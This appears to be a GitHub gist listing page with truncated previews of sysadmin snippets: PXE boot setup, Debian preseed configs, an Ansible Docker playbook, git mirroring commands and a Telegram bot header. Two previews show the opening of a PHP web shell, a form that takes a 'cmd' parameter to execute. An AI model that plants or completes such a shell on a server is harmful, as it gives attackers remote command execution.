apt-get install dnsmasq pxelinux syslinux-common syslinux-efi
mkdir /srv/tftpboot
ln -s /usr/lib/PXELINUX/pxelinux.0 /srv/tftpboot/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import config | |
import telebot | |
from telebot import types # кнопки | |
from string import Template | |
bot = telebot.TeleBot(config.token) | |
user_dict = {} | |
class User: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
label Preseed RAID1 | |
menu label ^Preseed RAID1 | |
menu default | |
kernel debian-installer/amd64/linux | |
append vga=788 initrd=debian-installer/amd64/initrd.gz --- auto url=tftp://192.168.99.1/preseed-uefi-raid1.txt debian-installer/language=en debian-installer/locale=en_US keyboard-configuration/layoutcode=us localechooser/translation/warn-light=true localechooser/translation/warn-severe=true netcfg/choose_interface=auto netcfg/hostname='pxeinstalled' | |
label Preseed RAID5 | |
menu label ^Preseed RAID5 | |
menu default | |
kernel debian-installer/amd64/linux |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
d-i debian-installer/locale string uk_UA | |
d-i localechooser/supported-locales multiselect en_US.UTF-8, en_US | |
d-i keymap select ua | |
d-i keyboard-configuration/modelcode string pc105 | |
d-i keyboard-configuration/toggle select Alt+Shift | |
d-i keyboard-configuration/layoutcode string us,ru,ua | |
d-i keyboard-configuration/xkb-keymap select ua |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
- hosts: all | |
tasks: | |
- name: Install prerequisites | |
apt: | |
name: ['apt-transport-https','ca-certificates','curl','gnupg2','software-properties-common'] | |
update_cache: yes | |
- name: Add Docker GPG key | |
apt_key: url=https://download.docker.com/linux/ubuntu/gpg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Клонируем исходный репозиторий без рабочего каталога (--bare) | |
git clone --bare https://github.com/exampleuser/old-repository.git | |
cd old-repository.git | |
# Делаем mirror-push(будут скопированы все ветки и тэги) в новый репозиторий | |
git push --mirror https://github.com/exampleuser/new-repository.git | |
cd .. | |
# Удаляем папку с репозиторием |